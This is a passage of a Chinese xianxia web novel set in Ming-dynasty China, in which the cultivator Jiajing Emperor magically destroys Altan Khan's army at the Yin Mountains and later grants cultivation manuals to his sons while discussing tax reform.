听到唐顺之这一番话,之前情绪激动的众将都是有些惭愧,但面上终究不顺。他们自然知道,但就见不得贼夷这嚣张的模样。 再加上这里的人都不是新兵,甚至有不少人都是参与过嘉靖二十九年俺答南下之战的。 心中对这份耻辱,可是牢记的,本以为再也没有了机会,现在有生之年好不容易有了机会,自然是要一雪前耻报仇,证明自己。 因此才会情绪上头,以至失态。 “所有人听令!”随着唐顺之一声令下,众将心中一凛,起身对唐顺之抱拳。 “王崇古!”唐顺之点将,道:“你率本部三万主力,即刻前往大青山和乌拉山部署防御战线,务必拒敌夷于防线之外,切勿让其抢占!” “末将在!” “是!”王崇古肃容应承。 “副总兵,李山!” “末将在!” “命你率五千精锐轻骑,提前大军前行,密切关注敌军的侧翼和后方。” “防止其通过迂回包抄的方式,切断我军的补给或形成包围态势。” “一旦发现敌军意图,即刻在敌军的侧翼和后方,进行袭扰和牵制,确保补给线安全。” “是!” “参将周桐!” “末将在!” “命你率一万五千骑,在主线防御两侧,随时待命,一旦发现敌军主力,即刻从其左翼和后方进攻,切记不可恋战,钩住敌军即可!” “是!” “其余人,即刻调动大军,全速赶往前线,构筑防御,切记不可恋战,防守为主!” “是!” 大明一方在部署的同时,俺答所率的蒙古部众同样开始部署进攻路线。 一处被行军层层保护,拱卫的开阔地的大营之中。 俺答跟兀良哈三卫的首领,此刻正汇聚于大营之中,商讨着接下来行军部署。 四人围绕着一张巨大的木桌,只见上面摆满了兵书,地图,还有一些酒水,肉食。 “大青山和乌拉山是最好的防御线,”上首位置,一个身材高大,体格健硕,年龄看起来有五旬出头的魁梧老者指着地图道: “明军必然会抢占这些地势,以此形成对我们的防御!” 这老者不是别人,正是土默特部的首领,俺答汗! 一双眸眼深邃而阴鸷的眸子里,闪烁着野心的光芒。 额头上起起伏伏的皱纹,似是见证了岁月的沧桑一般,花白的胡须像是钢针,让他在举止间,尽显凶悍与狰狞之色。 而在他身旁站着的三个魁梧男人,分别是泰宁卫首领,巴特尔·阿勒坦。 一个身高约一米八,体格健壮,肌肉线条明显,肩膀宽阔,皮肤略带古铜色,面部轮廓分明,眼神锐利,约四十多岁的中年人。 福余卫首领,诺颜·乌兰。 看起来要比泰宁卫首领,巴特尔·阿勒坦年轻不少,只有三十来岁,皮肤白皙,穿着也随意,看起来养尊处优的样子。 一双狭长的眸子里,闪烁着精明的算计光芒。 目光虽然是在看地图,但抓着酒杯的手指,却是在不断的敲击跳跃着,似乎是在算计什么。 朵颜卫的首领,达拉特·博尔吉。年近五旬,他是除了俺答之外,年龄最大的。 虽然体态魁梧,但眉宇间却有一些疲态,看起来很是劳累,嘴唇也有些发白。 看了看野心勃勃的俺答,又看了看憨直,好战的泰宁卫首领巴特尔·阿勒坦,和年龄最小,养尊处优,刚刚继承汗位的诺颜·乌兰。 一双眸子里,忧虑之色更甚。 直觉告诉他,俺答所图甚大,整个草原,现如今实力最强,最有一战之力的也就土默特部和他们兀良哈三卫了。 自己老了,继承人虽然有不少,但子孙并不争气,其余两卫一个首领好战无谋,另外一个只知道享受,算计,不当人子。 反观俺答部,可以说是人才济济。 直觉告诉他,俺答并不是要取代大明,很有可能是要借着明朝的军力部署,消耗他们,从而实现草原的一统。 尤其是俺答在嘉靖二十九年攻入京城,兵临城下,强迫大明开通互市,他在草原的威望,可以说是达到了一个极致的高峰。 不仅如此,接下来的十年,他养精蓄锐,不断扩充领地,同时还推广佛教,草原百姓对他也越发的认可,不断有人追随。 可以说,俺答想要一统草原的野心,早就路人皆知了。 如今,大明突然关闭互市,还驱逐蒙古各部,可以说是引发了部落众怒。 而俺答也正好看到了这个机会,准备借此机会再次南下,名义上说是要攻入大明,恢复草原荣光,然而达拉特·博尔吉却不这么认为。 大明就算是快病死,也不是他们这些人能打下来的,就算打入京师,只要天子逃走,等到大军反应过来,他们必然会溃败。 而这一战后,他们三卫的精锐,怕是要被打没。 若是这时俺答一统草原,要其他各部臣服,元气大伤的他们,又岂是对手? 达拉特心中,忧虑不已。 可惜,另外两个蠢货,不会听他的,他们都看到了大明的肥美,想要美餐一顿,妄想着入侵中原,与俺答分享江山。 “巴特尔,我命你率领一万铁骑,从侧翼阻击明军的精锐,务必阻断其后方!”俺答看向身材魁梧,憨直好战的巴特尔说道。 “放心吧,我巴特尔是黄金勇士,我的儿郎们,也都是勇士,定能攻破脆弱的明军!”巴特尔攥着拳头,挥舞道。 “好!”俺答满意点头,而后又看向一旁,看起来像是个贵公子一样的诺颜·乌兰,道: “诺颜,你部精锐,需要配合巴特尔,在后方形成一个包围之势。” “放心吧,我部的儿郎们,也是草原的勇士!”诺颜喝了一口酒,而后看向俺答,“入侵大明之后,利益分配问题也该说说了。” 没错,他满脑子想的都是怎么分配利益。 “放心吧,等攻入大同,我会与你们商量的,保准你们满意!”俺答说完,看向与自己年龄差不多的达拉特·博尔吉。 “达拉特,主线防御突破,就看你部与我部的了。”对这个老家伙,俺答是很在意的。 其他两个蠢货,太年轻了! “我明白。”达拉特沉声说着,而后看向地图,没人看得清楚他在想什么。 “这一次,我们是为了草原子民而战,大明朝皇帝昏庸无道,肥美的中原,不应该被这等昏君坐享,中原属于我们!” 俺答说着,目光望向大帐外,略显阴沉的天穹。 这一战过后,他,孛儿只斤·俺答,成吉思汗的十七世孙,会成为草原上的又一雄主。 他会继承先祖的荣光,让黄金家族的荣耀,再次屹立在世界之巅! 成吉思汗的子孙,黄金家族的足迹,从此以后,会踏遍世界的每一个角落。 …… 大明,文华殿内。 北境的战事,早就通过飞枭传了过来,内阁六部的官员,可以说汇聚一堂。 “如今看来俺答必然是要与大明开战了,大同镇只有五万精锐,算上可征用的军民,满打满算凑够六万,”张居正严肃的看着面前的沙盘。 “而俺答和兀良哈三卫,这次调集的可都是精锐,全部加起来,足足有八万!” “不行!”高拱立刻出声,道:“应该即刻让京营开拔,前往支援,以防万一!” “京营不能动!”这时,裕王直接开口否决了高拱的提议,道:“京营拱卫京师,是最后的的保障,万一……”说着,裕王没有继续。 “京营要确保京城的安定!” “距离近的不能动,以防止俺答侧翼进攻,辽东和蓟州调军又太远,还要防备女真等地。”张居正说着,语气严肃道: “如今看来,只能是从内陆调兵了!” “不管怎么说,必须要做好防线被突破的最坏打算,嘉靖二十九年的耻辱,绝对不允许再出现一次,还有粮草供给必须要跟上……” 内阁中,群臣商讨,乱哄哄的。 而在边上,严嵩和徐阶则是静静坐在椅子上,不知道在想什么。 严世蕃也想冲过去讨论,不能紧着张居正等人耍威风,但刚开了几嘴,就遭到了群嘲,但没办法,人家还说的有理有据。 一时间,气的小阁老撂下几句狠话在一旁生闷气。 这一刻,小阁老突然意识到了自己的短板! 嗯,学兵法,回去必须要狠狠的学!至少再次遇到这种情况,他要喷回去。 他感觉自己自从与清流开战以来,嘴皮子是越发的不行了,以往一人怼好几个,都能让对方哑口无言,现在三两句就被顶死了。 痛定思痛之后明白,不是自己嘴慢了,是清流快了,或者说以前这帮畜牲在藏拙! “少湖,你在想什么?”严嵩突然出声,看向一旁的徐阶,温吞道。 “阁老,”徐阶微微颔首,然后看着围着沙盘争吵的群臣,顿了顿道:“我在想,俺答开战的目的是什么,还有皇上的想法……” “嗯,”严嵩也点了点头,道:“皇上的想法我也看不透,但俺答的想法或许能猜一二。” “还请阁老示下。”徐阶眸光一闪,问道。 “做好最坏的打算,俺答打入京师,若是陛下南迁的话……”说到南迁,严嵩眉眼低垂,嗯,这个提议,很不耻,但却很实用。 “那我军就有了喘息之机,俺答必然会失败。” “更何况,京师也不是他想攻打就能攻打下来的,有前线九边的防御,必然会消耗他大半兵力,总之以他们的兵力想吃下大明很难。” “所以,我更倾向于,俺答有别的谋划,想要借助这次攻打大明,达到某种目的。” “听闻,俺答这十年间,在草原不断的扩张,一统草原的野心几乎路人皆知了。” 这时,徐阶接过严嵩的话茬说道:“整个草原,能与他一战的,也就兀良哈三卫了。” 说话间,两个老狐狸对视一眼,都明白了彼此的想法。 “俺答是想通过攻打大明,消耗兀良哈三卫,从而达成他一统草原的野心!” “但这对大明来说,即便知道也没意义。”严嵩说话间,叹息着看向热火朝天的众人。 “不错,”徐阶点头,道:“大明决不允许被打进来,而且京营也不能动。” “所以,即便知道俺答的目的,也只能陪着他,将这场战争的戏码,唱下去。” “皇上他,到底想干什么?”严嵩撇头看向细雨飘飘的窗外。 皇上的目的所在,一直就像是一根刺一样,卡在他心里,让他如鲠在喉。 看不出圣意所在,严嵩一直都很慌。 因为看不出,就不能迎合,那对皇上来说,就会变得没用,严家不是清流,没有皇上赐予的一切,说舍弃,也不过是一句话的事。 …… 时间匆匆。 三天的时间过去了。 这一日,天阴沉沉的,天空中似乎飘洒着绵绵的细雨。 整个北境边疆的气氛无比的凝重。 阴山山脉,苍茫辽阔,横卧天际,连绵不绝,在阴沉下雨的天气承托下,越发显得古老苍凉,飓风刮过山谷,似有孤魂哭泣一般。 天空高远而深邃,黑滚滚的乌云翻滚飘动,广袤无垠的天地间,八万大军静静列队,宛如大地上的钢铁洪流,静默而庄严。 而在大青山,乌拉山,明军形成的防线处,四万大军也严阵以待。 士兵们身披重甲,手持长矛利剑,面容坚毅,眼神中透露出一种冷峻而决绝的光芒。 他们的身影在苍茫的山脉前显得渺小而坚定,仿佛每一滴汗水、每一声呼吸都凝聚着不屈的力量,每个战士都感受到了压抑。 战争,流血所带来的压抑! “哗!”而在阴山山脉上空,两道人影站定。 一些玄色特制斗篷的嘉靖脚踩“云底符箓”幻化的云朵,身旁的海瑞静静站定。 此刻的海瑞,看着自己脚踩云朵,再次体会到了那日在玉熙宫内,被祥云托起的一幕。 今日,他真的腾云驾雾,屹立在天上了,一时间,饶是海瑞,也不禁激动的心脏嘭嘭跳。 “皇上,您打算如何出手?”海瑞舔了舔发干的嘴唇,声音中隐隐有颤音。 “嗡!”这时,只见嘉靖摊开手掌,小巧精致的土属性攻击符箓,悬浮于掌心之上。 “海瑞,”嘉靖说着,目光凝视着下方,道:“今日过后,成吉思汗的子孙,黄金家族的荣耀,都要葬灭在这阴山天堑了!” 几乎是在嘉靖话音落下的瞬间,下方八万大军之前,身穿盔甲,手持长剑的俺答,长剑出鞘,大喝道:“儿郎们,攻破明军主力防线!” “攻入大同,为草原而战,杀!” “杀!杀!杀!”随着俺答的话音落下,大军开拔,整齐划一的“杀”字直冲云霄。 这八万大军,是草原现有最前四个部落的精锐。 气势如虹,虽然只有八万,但气势上却宛若十数万大军一般,天穹阴沉的乌云翻滚的愈发厉害,似乎是被他这气势所慑,不安的翻滚般。 “轰轰轰!” 地面开始震动,铁骑精锐开路,两侧同样有泰宁卫和朵颜卫的精锐骑兵出发,朝着大青山和乌拉山,大明军队防御而去。 这一刻,万马奔腾,大地震动,杀意冲天,即将见血的躁动嘶吼声响彻山间。 也是在这一刻,云层上的嘉靖,手中土属性的攻击符箓,已经被他双指夹住。 随着灵气注入,其上符文流转,先是光华内敛,而后陡然爆发出璀璨的金光。 “去!”嘉靖大手一甩,一道金色的流光,化作一道笔直的细线,轰然没入下方云层。 “咚!”无形中,似是有什么撞击声响起,跟着从下方朝着天穹仰视。 只见乌云剧烈翻滚,似是潜藏在背后的太阳发出璀璨光芒一般,正在冲杀的蒙古大军,还有严阵以待,同样准备冲杀的王崇古等人。 这一刻,都不由被这异象所惊,下意识的抬头看去。 继而,众人就看到了让他们终生难忘的一幕奇观,那一大团翻滚,金色的乌云中,一道笔直金色流光轰然疾驰而下,进入深山。 “轰隆隆!” 突然间,大地震颤,天崩地裂。 阴山山脉之中,一道巨大的裂缝自山顶蔓延而下,如同被无形之手生生撕裂。 这一刻,土石崩飞,烟尘滚滚,遮天蔽日。那裂缝之中,黑气缭绕,幽深莫测,仿佛通往另一个世界的门户,令人心生敬畏。 然而,这些都不是重点,重点是裂缝在不断扩张,整个阴山山脉开始崩裂,塌陷。 “不!!!”不远处,骑在战马上的俺答,看到那数万精锐大军,就这么大半葬入阴山,顿时发出撕心裂肺的吼叫,双目赤红一片。 “轰,轰轰!” 然而,他的嘶吼声,在不断塌陷,烟尘滚滚之中,显得是那样的弱小。他的愤怒,在如此威力面前,也是那么的脆弱。 “轰隆隆!”大地还在崩裂。 以明蒙双方交战线为中心,朝着两侧不断延伸,漆黑色,翻着滚滚烟尘的裂缝,像是择人而噬的凶兽大口,不断吞噬着。 巨大山脉塌陷,恐怖的烟尘直冲云霄,一股无形的气,冲的云层翻滚断裂。 露出天穹之上,那一颗大日。 一道道锋利如刀片的阳光穿过满目疮痍的云层落下,与下方烟尘滚滚的废墟,形成鲜明对比,也构筑出了一副壮观至极的画卷! 一时间,刚才还严阵以待,剑拔到一半,准备出击的王崇古,更是目瞪口呆,同时头皮阵阵发麻,冷汗直流,一阵后怕。 还好,还好没有出击,否则大明一方的大军,也会被吞噬,葬灭在这阴山之中。 “轰!”终于,大地震动停歇。 然而下一刻,地面再次开始震动,然而让所有人没有想到的是,更为诡异的一幕出现了。 那恐怖的天堑裂缝,竟然开始愈合了?! 这怎么可能?! “所有人,骑兵从两侧包围,全歼俺答各部所有敌军!”作为名将的王崇古,经过短暂的震惊之后,顿时反应过来了。 俺答八万大军,被吞掉了大半,只剩下了区区一两万人,而且溃败如烂泥。 这个时候,大明一方完好的精锐,不出击去杀个痛快,还在等什么? 这一次,简直就是天助大明! 难道国师说的都是真的?真有天灾?嗯,现在不是想这些的时候,战机千载难逢。 绝对不能让俺答给跑了,若是此次全歼蒙古部众,那么或许大明将再无边疆之危! 这等功劳,这等泼天富贵,竟然砸在他头上?这要是不把握住了,那真是该死了。 “轰!”所有明军将士,也收到了信,直接绕过没有断裂的地势,成合围之势,朝着蒙古大军,剩余残军败将冲杀而去。 “……” 大大们,6K+,诚意满满了,今天更新了1.5万,我去吃个饭,回来继续更新~ 第一百零六章 那是什么?! “轰隆隆。” 雷声炸响,大雨倾盆而下,整个阴山,已经被血气浸染。 一道道血水流淌,而后流淌入大地上,那最后没有完全愈合的大地缝隙之中。 “杀!” “杀光夷贼!” 憋了许久的明军,在王崇古这位沙场老将的带领下,朝着溃散的蒙古大军冲去。 烟尘滚滚中,明军像是从地狱中走出来的恶鬼一般,渐渐将那两万不到的蒙古残部包围。 “父汗,撤吧,快撤!”俺答的长子,辛爱黄台吉,扯过俺答的缰绳,大吼道:“来人,保护大汗撤退,快,撤!” “为什么,为什么,为什么……”俺答此时整个人都处于一种呆滞的状态中,他怎么也没想到,好端端的,为何会突然有地震。 为什么大地会突然裂开一道天堑鸿沟,直接将他六万多的精锐大军直接埋葬。 难不成,大明真的有天助? 他想到了那一份张贴在“互市”的告示,大明国师夜观星象,言说北境有灾祸,兵戈死伤。 可是,那不过是嘉靖老儿昏庸,被那妖女魅惑,开始昏庸到关闭“互市”,挑衅伟大黄金家族吗,怎么天灾就真的出现了? “不要放过俺答和他的儿子,抓活口!” 王崇古嘶声大吼,同时一把扯过一名副将的大弓,而后张弓搭箭,拉成一个满月状。 这一刻,王崇古的目光宛若鹰隼般锐利。 “嗖!”箭矢离弦,长箭裹挟着寒光,倏然朝着俺答的长子辛爱黄台吉而去。 “噗嗤!”毫无悬念,正在奋力拉扯着,心态已经崩掉的俺答撤退的辛爱黄台吉,直接被命中后脑,鲜红的箭矢刺穿咽喉,热血飚出。 心态崩掉的俺答突然感觉脸上一热,浓郁的血腥味涌入口鼻,下一刻他呼吸陡然一滞,眼睁睁的看着儿子轰然倒地。 “辛爱黄台吉,儿啊!”看着倒地的儿子,他最喜欢,最骁勇善战的儿子,俺答发出凄厉的吼叫声,热泪从老眼中滚落。 “大汗,快走吧!”这时,副将一把将已无力再战的俺答扯上自己的战马开始突围! “俺答!”然而就在这个时候,一声苍老,却中气十足的吼声响起。 俺答下意识的回头看去,就见王崇古站在高处,大雨中,他手持大弓,大声道: “你儿子,我杀的!” “你要逃走吗,你是个懦弱的父亲!” “你的勇士们,都在因为你的愚蠢而浴血奋战,现在,你要抛弃他们吗!” “王崇古!”俺答看到那手持长弓,仰天长啸的沙场老将,目眦欲裂,“巴图孟克,放我下来,我要将辛爱黄台吉的尸体带回来!” “大汗,大势已去,大明有天助,这不是您的错,这是意外!”俺答的副将,巴图孟克一只手死死的押着挣扎的俺答,只顾着逃跑。 “骑兵,上,抓住俺答,死活不论!” 眼看着俺答部的骑兵,拼死保护俺答,王崇古也不再要求抓活口了,死的一样! “杀!”大明精锐铁骑宛若一头野兽,冲入羊群一般。 远处埋伏的用作干扰的一万轻骑,此刻竟成了主攻手,身后拉出一道长长的兵线! 骁勇嗜血的大明铁骑在大雨中冲杀。 终于,早已等候多时,与大军一同厮杀而出的两支骑兵将俺答残部大军截住。 “杀,活捉俺答!”听着身后的喊杀声,再看前方截住去路的五千名精锐铁骑,俺答知道自己跑不掉了。 “大汗,我带兵为你开路,只要您回去,我们就有东山再起的一天,我……”巴图孟克抽出腰间的长刀,满是横肉的脸上满是忠义。 “巴图孟克,”俺答微微摇头,看着将自己团团保护起来,只剩下数千,已经毫无战意的骑兵,“放我下来吧。” “大汗!”巴图孟克还想要说什么,最后只能不甘的松开手,将俺答放下战马。 “踏踏踏。”地面震动,雨雾蒙蒙中,王崇古所率大军终于赶到。 “放下武器,饶尔等不死!”王崇古大声说道。 “大汗?”巴图孟克看着俺答,满心的不甘。 “我们败了!”俺答深吸一口气,抬头看向大雨倾盆的天穹,突然发出一声怒吼,像是在质问老天一般,大声道:“为什么!” 随着俺答的一声怒吼,蒙古残部也跟着全部放下了武器,齐齐的跪在了地上。 王崇古挥了挥手,立刻有将士上前缴械,捆绑,至此这本该是一场艰难的防御战,就这么稀里糊涂的结束了,俺答所率部大败。 大明,完胜! 王崇古看着眼前这个草原上,当之无愧的王者,此刻也是心有感慨。 他能理解此刻对方心中的憋闷和不甘。 一场胜算几乎是在七成以上的战争,就因为一场地震,大地崩裂,直接葬送大半精锐,可以说,俺答所率大军不是败于大明。 而是败于天意! 只能说,天意在明! 想着,王崇古也不由朝着天穹看去,确切的说,是朝着远处,之前大日阳光爆射而下的方位,正是因为那一道刺眼的阳光落下。 而后就是大地崩裂,庞大的阴山山脉,就这么化作了一片废墟,同时葬灭了蒙古大军。 “轰隆隆!”就在这时,天穹之上又是一道惊雷爆闪而过,只是这一次雷霆闪烁极长,直接将厚重漆黑的云层照亮。 那翻滚的云层也跟着露出一道缝隙。 “那是什么?!”突然就在这时,有人发出惊恐的大喝,指着天穹之上。 “哗!”这一刻,所有边关大军,都不由的哗然,抬起头震撼的朝着天穹深处看去。 “嘶!!!”王崇古自然也看到了远处,无尽怒云翻滚深处,那屹立的两道黑影。 一时间,王崇古只觉得头皮发麻,遍体生寒。 那,是人吧? 不是什么草原上的雄鹰吧? “轰隆隆!”雷霆迅速闪过,惊鸿一现,继而怒云翻滚的缝隙合并,那神秘孤傲的人影,也跟着隐匿于怒云深处。 再之后,看雷霆闪烁,大雨倾盆。 怒云翻滚的深处,一袭黑袍的嘉靖负手而立,随着怒云翻滚的缝隙闭合的瞬间,他淡淡瞥了眼下方的大明将士,转身看向海瑞。 “回去吧,结束了。”说完不等海瑞多言,大袖甩动,裹挟着海瑞化作一道虹光远去。 至此,这一场大战就这么结束了,然而今日发生的一切,却让在场的每个人,内心都久久无法平静,尤其是王崇古。 那立于翻滚的怒云深处的身影,让他怔在原地,久久无法回神。 莫非,天崩地裂,葬灭敌夷,并不是什么天灾意外,而是有仙神助?! 这,怎么可能呢?! 但不管是什么,今日发生的一切,注定瞒不住,他甚至不知道该怎么给上官,给内阁诸老,给整个朝廷,甚至是史官解释。 “……” 大大们,别跳订啊,首订不能跳啊,要命了…… 第一百零九章 父皇果然是爱我们的!好大一张饼,动力无穷! “二位殿下,所谓修行资源就是指……” 吕芳虽然觉得裕王跟景王的眼神有些幽怨,但说不上来为何,不过还是继续说着。 “……” “所以啊,二位殿下……”吕芳给裕王跟景王二人简单讲述了一遍修仙路上资源的重要性后,深吸一口气,看着灵田小院,也是感慨不已。 “培育灵田就可以种出更多的灵米,灵草,灵瓜,灵果来辅助修行。” “否则,即便拥有仙法,也没有踏入仙路的资格,没有灵田就没有修行资源,没有修行资源,等同于仙路断绝,长生无望!” 听完吕芳的详细讲述后,裕王跟景王此刻都是一副恍然之色,看着眼前的灵田小院,也不由变得面色凝重,神情间全是郑重之色。 “这么说,修仙者和我们说的仙人,也是有不同的对吗?”这时,裕王想到了他们此行的目的,就是询问父皇,是否真的有仙。 如今摆在眼前的很明显了,父皇定然是踏上了仙途,那北境战场上出现的仙人又有何不同? 修仙者在他们眼里,就是仙人。 那修仙,修仙,显然重点在一个“修”字之上,因为不是仙,所以才要修仙。 不过他更想知道的是,北境战场上,出手直接葬灭阴山的人,是否也是修仙者? 又或者说,那是一尊真正的仙,父皇能窥得仙缘,也是因为那一位? 当然,比较注重国事的裕王,此刻更想知道的是,父皇如何获得仙缘,是否付出代价?这个代价是父皇个人承担,还是大明? 他谨慎惯了,再加上自己的父皇又是个,嗯,说句大不敬的话,就是个自私之人。 以往是凡人的时候,只是生活奢侈了一些,下面的人给把着,多少还能克制些。 可这次,父皇“玩”的是更神秘的东西,一种他们全都没有接触过的层次。 若是其中有什么代价,恐怕父皇也会毫不犹豫的付出,踏入仙道啊,该是何等付出? 光是想一想,裕王就觉得心头沉重,不过他面上却表现的很好,看不出异样。 “呵呵,”这时,吕芳轻笑着对裕王解释,道:“殿下,修仙者在凡人眼里自然是高高在上的‘仙人’,但修仙者可不能以仙自居。” “仙人不死不灭,万劫不陨,而修仙者若是灵气枯竭,一切手段都使不了,与凡人无异。甚至,修仙者也会伤、老、病、死。” “若是不能修炼成仙,即使寿元增加,当寿元耗尽之后,也会死亡,”吕芳说着,不由想起嘉靖对他说过的一句话,唏嘘道: “不成仙,终为凡啊。” 听完这番解释后,裕王眼底浮现出一抹了然之色,于是不由开口,道:“那北境战场……” “父皇,儿臣明白了!”不等裕王把话说完,景王当即抱拳躬身,大声道。 裕王眉头一皱,眸光一扫却见吕芳对他微微摇头,顿时整个人一怔,猛然惊觉。 是了,还用问吗?拥有那等毁天灭地手段的,除了真正的仙人,还有什么存在? 之前吕芳对修仙者的描述,可是按境界划分的,低境界的修仙者别说御空了,若是不辅助一些修仙者特有的手段,凡人大军耗也能耗死。 那个在北境战场上出手的人,必然是真正的仙人,也是父皇的秘密,自己探听仙人,是想做什么?以父皇的猜疑性格会怎么想? 一时间裕王心中阵阵后怕,不由向景王投去个感激眼神,然而迎上的却是一个冷眼。 景王眼神中的意思很明白:你想触怒父皇,我没意见,很乐见其成,但别带着我! 嗯,景王完全是不想被裕王拖累,这个三哥当真是被那帮清流带着成了书呆子了。 真是什么都敢探听,简直不知死活,是不是父皇给了你几天好脸,就开始飘了? 踏上仙途的父皇,想要子嗣,怕是随时可以拥有更多,两个儿子而已,不是不能舍弃。 不得不说,景王确实是最像嘉靖的,心思多变而深沉,千般计较算计一重叠一重。 “儿臣定会辅佐父皇,为父皇仙途霸业计!”景王的声音,喊的很是洪亮。 “儿臣也一样!”裕王知道自己刚才犯错了,赶紧抱拳低下头,降低自己的存在感。 吕芳看着眼前的裕王跟景王默默退至一旁,他自然知道,北境战场上的那位仙人就是主子,至于北境传回来的另外一道身影。 那想必就是海瑞了! 嗯,一想到这个,吕芳就有些羡慕海瑞,竟然能跟在主子身边见证那伟大时刻。 至于主子为何不告诉二位殿下实情,以吕芳对主子性格的了解,倒也不觉得奇怪。 世人皆以为,世上最亲的人是父子,然而有时候却是未必。 人之常情是,人生在世,难报之恩就是父母之恩。可有几个做儿子的作如是想? 十个儿子有九个都想着父母对他好是应该的,于是恩养也就成了当然。父子之亲,只有父对子亲,几曾见子对父亲呢? 有时候最亲的并不是父子,是君臣、主仆、师徒!儿子将父母之恩视为当然,臣下、弟子、奴仆、却能将恩情,视为报答。 正如自己和文孚一样。主人、上位,这对应的是他们两个人,对皇上的情。 不过与普通主仆和上位之间不同的是,帝王喜欢这些,但又不是很需要这些。 对于帝王来说,有时候赐死臣下,奴仆,也是给予他们的恩情,凉薄而无情。 先是有用,才有资格想着报恩。 而即便深知如此,他们依旧对皇上只有感恩,即使始终都是他们单方面的付出,且他们依旧是甘之如饴,主子知晓吗?知晓! 也是如此,他们才能是主子的心腹,他们才会被主子赐予仙法,带着修仙。 所以,不是什么人都能当心腹的。 这些就是主子先给他和陆炳修仙功法,而不是先给裕王和景王这两个儿子的原因。 因为普通人都能明白的道理,帝王更是要比旁人还要透彻极端。 何为帝王?称孤道寡者也! 凡是帝王,对任何人都不信任,亲儿子也一样。 在吕芳思绪飘忽的瞬间,嘉靖开口了。 “你们也想修仙?”嘉靖从灵稻田走出,将手放入吕芳递来的金盆里洗了洗,一边擦着手,一边看向这两个儿子。 “父,父皇,儿臣真的可以吗?”见父皇如此直白的问自己是否要修仙,裕王跟景王心头一怔,继而就是狂喜,说话都不利索了。 这可是修仙啊,他们来找父皇,不就是为了得到只鳞半爪的仙人赐福吗?没想到父皇这么大方,这是要赐下仙法? 嗯,父皇果然是爱我们的! “吕芳,”嘉靖抬手指了指二人,吕芳立刻会意,从怀里拿出两份早准备的‘引气诀’一人一份,恭敬的递给裕王跟景王,“二位殿下。” 看着眼前那薄薄的几页纸。 想到这上面记载的可能就是来自仙人赐下的仙法,裕王跟景王激动的浑身都在颤抖。 颤抖着接过几页单薄的纸,看着上面‘引气诀’三个大字,二人呼吸都急促了。 “从今以后,你二人可每日进宫来修炼。”嘉靖说着,已经转身回了玉熙宫,裕王跟景王虽然心中激动,却也反应不慢,赶紧跟上。 “接下来朕要交给你们几个事。”嘉靖再次坐进了精舍里,裕王跟景王恭敬站定。 “请父皇示下,儿臣定当全力以赴!”此刻,得到仙法的二人,心中豪情万丈。 心里只有一个念头,那就是不能让父皇失望,一定要完成父皇的任务! “朕欲恢复卫所制,内陆施行募兵制,以确保财政和军需可以恢复。” “如今北境和东南沿海趋于稳定,想要恢复财政,接下来就必须要整顿吏治。” 听到‘整顿吏治’这四个字,裕王跟景王激动的心也渐渐冷静下来。 对于父皇的打算,他们并不意外。 虽说父皇已经踏上仙途,并且背后还有真正的仙人存在,但治国讲究的是循序渐进。 人心多变,且复杂。 不能说是仙人,就能言出法随。 那些无能、贪婪之人,就算政令下达,就算他想好好做事,最后也能给你把事情搞的一团糟,正如宋朝的‘熙宁变法’一样。 虽然原因多样,但太快,想的太简单,以为政令所到就能畅通无阻,完全脱离实际。 导致那些没有真本事的蠹虫,做出种种蠢事,伤的还是国家,搞得四不像。 身为皇族,裕王跟景王自然明白这些,这天下是他们家的,自家产业当然要小心着来了。 “整顿吏治过后,财政会得以恢复,接下来有财政作为支撑,就是土地问题,”嘉靖说着,抬了抬手指,道:“你们二人,关于我大明现如今的土地制度,都有何看法?” 听到父皇提问,裕王跟景王心头一紧,知道这是考校了,然后开始认真思考了起来。 “给他们搬个座。”嘉靖抬了抬手指说道。 “谢父皇。”二人道了一声谢,然后坐在了吕芳搬来的凳子上,然后还是裕王率先开口,道:“父皇,儿臣以为,土地需要改革。” 裕王先是起了个话头,然后继续开口。 “不知父皇,可还记得嘉靖八年,时任内阁次辅的桂萼?” 听到这个名字,嘉靖看向裕王的眼神中,多了一抹欣慰之色。桂萼,他在嘉靖十年前,最看重的臣子之一,只是可惜了。 嘉靖没有说话而是示意裕王继续。 一旁的景王是非常会察言观色的,他自然看到了父皇那渐宽的面容,心中不由一紧。 可是,他对土地什么的一窍不通啊,他只是在怎么捞钱上面,很有天赋。 一时间,景王第一次觉得这位平日里唯唯诺诺,毫无皇者气度的兄长,并不简单。 此前,他是瞧不上裕王的,对裕王只有不甘和嫉妒,凭什么就比自己出生早几天,他就是老三,大哥二哥去世,他就是顺位第一人? 明明自己比他更得父皇喜爱,看重,自己差的就是那么晚出生了几天而已。 但现在,他突然发现,裕王竟然已经有所积累了,而且比自己强。无法接受! “桂萼在嘉靖九年,曾上《任民考》一疏。”裕王自然不知道景王心中所想,此时他只想全力以赴的回答父皇的问题。 “他在奏疏中提到,扩大征收面,使税赋相对均平。” “通过清丈土地,将各地的士绅家族,所隐瞒的土地全部测量出来,实现赋役均平,降低普通百姓被平摊的赋税。” 裕王说着,顿了顿,又道:“此外,他还提出,统一赋役。” “将各州县的田赋、徭役以及其他杂征总为一条,合并征收银两,按亩折算缴纳。” “如此大大简化了税制,方便征收税款,同时使地方官员难于作弊,进而增加财政收入。” “此外,统一赋役还有一个优点就是,限制了苛扰,使税赋趋于稳定。” “最后,将赋税从之前的收实物改成收取折银。百姓及各种负担力役户,可以出钱代役,力役由官府雇人承应。” “不仅如此,还能促进商业,财政收入增长。” “只可惜,现如今这‘一条鞭法’,在我大明并未全面施行,只是在地方做试点。” 裕王说着,微微摇头叹息,道: “儿臣一直在留意那些试点,可惜的是官员腐败无能。”说完,裕王神色恢复,认真的对嘉靖抱拳拱手,道: “儿臣以为,整顿吏治过后,可以施行‘一条鞭法’,彻底改变我大明土地存在的问题。” 听完裕王的一番话,景王低眉垂目,宽大袖袍里的拳头,微微攥紧。 他不会在心里嘲讽裕王智照着别人的本宣读,身为皇子,学会用人,判断才是重要的。 自己之所以没能想到这些,就是因为身边没有能臣,将自己往帝王之路上辅佐培养。 一时间,景王突然觉得,严嵩并非良人! 然而,他不知道的是,不是严嵩非良人,而是他不是皇帝,严嵩,他驾驭不住罢了。 “呵,”嘉靖轻笑一声,对裕王点了点头,然后看向景王,道:“你呢?” “回父皇,”被父皇提问,景王脸上挤出一个笑容,道:“儿臣以为,三哥说的对。一条鞭法,确实是土地改制最好的法子。” 裕王此时,也终于有功夫看老四了。 一种油然而生的莫名感觉,让他下意识的挺了挺腰背,看向景王的眼神中,多了几分俯视。 这种俯视,来源于双方在治国方面的差距。 “一条鞭法是不错,但太慢了,”嘉靖先是给予了肯定,而后又微微摇头,道: “朕要稍作修改。整顿吏治后,土地兼并问题想来会迅速得以解决。” 